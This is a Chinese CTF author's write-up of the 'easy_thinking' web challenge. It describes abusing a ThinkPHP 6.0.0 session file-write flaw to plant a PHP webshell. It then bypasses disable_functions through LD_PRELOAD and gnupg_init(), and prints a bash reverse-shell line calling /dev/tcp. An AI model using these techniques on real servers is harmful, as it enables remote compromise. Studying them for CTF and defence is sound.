i春秋新春战役公益赛-出题记录

点击阅读

i春秋新春战役公益赛-出题记录

本次比赛也是有幸出了一个 Web 题目——easy_thinking,题目本身并不难,最后做出来的人也不少,本来以为是动态 Docker 下发的题目,结果不是,结束后看过一些网上师傅们的思路发现可以直接骑别人的马拿 flag,emmmm

大部分都是通过 Use After Free in GC with Certain Destructors 这个 php7.0 到 php7.3 的 bug 来打的,本意其实是希望使用 gnupg 这个模块

WriteUp

URL 简单测试下报错,发现是 ThinkPHP V6.0.0

Web 目录扫描,拿到源码,简单审计下

看下应用代码,发现 session 使用方法不合理,会将部分搜索关键字保存在 session 中,即存在任意文件操作漏洞 ,可以利用这点写入 php 文件,具体分析可参考网络文章

先注册一个账号,在登录时设置一个 32 位长度的 PHPSESSID 作为文件名

image-20200209161407850

在搜索处写入 php 代码,得到 /runtime/session/sess_c465f41ee715df8c726dcc4742a6.php,antsword 连接,发现无法执行终端命令

查看 phpinfo 后发现 disable_functions

1
passthru,mail,error_log,mb_send_mail,imap_mail,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv

使用 LD_PRELOAD 绕过,虽然限制了很多常用来 bypass 的函数,但是在 phpinfo 信息中注意到有个不常见的 gnupg 模块,推测可以利用

本地测试可以发现使用 gnupg 拓展下的 gnupg_init() 函数 可以进行 bypass

先本地生成 exp.so, gcc --share -fPIC exp.c -o exp.so

antsword 上传文件到 /tmp/exp.so

写入以下 php 文件

1
<?php putenv("cmd=/bin/bash -c 'bash -i >& /dev/tcp/host/port 0>&1'");putenv("LD_PRELOAD=/tmp/exp.so");gnupg_init();?>

image-20200209014404973

反弹 shell,执行 /readflag 读取 flag 文件

get flag

image-20200209020945561

文章作者: J0k3r
文章链接: http://j0k3r.top/2020/03/03/challenge-for-nCoV/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 J0k3r's Blog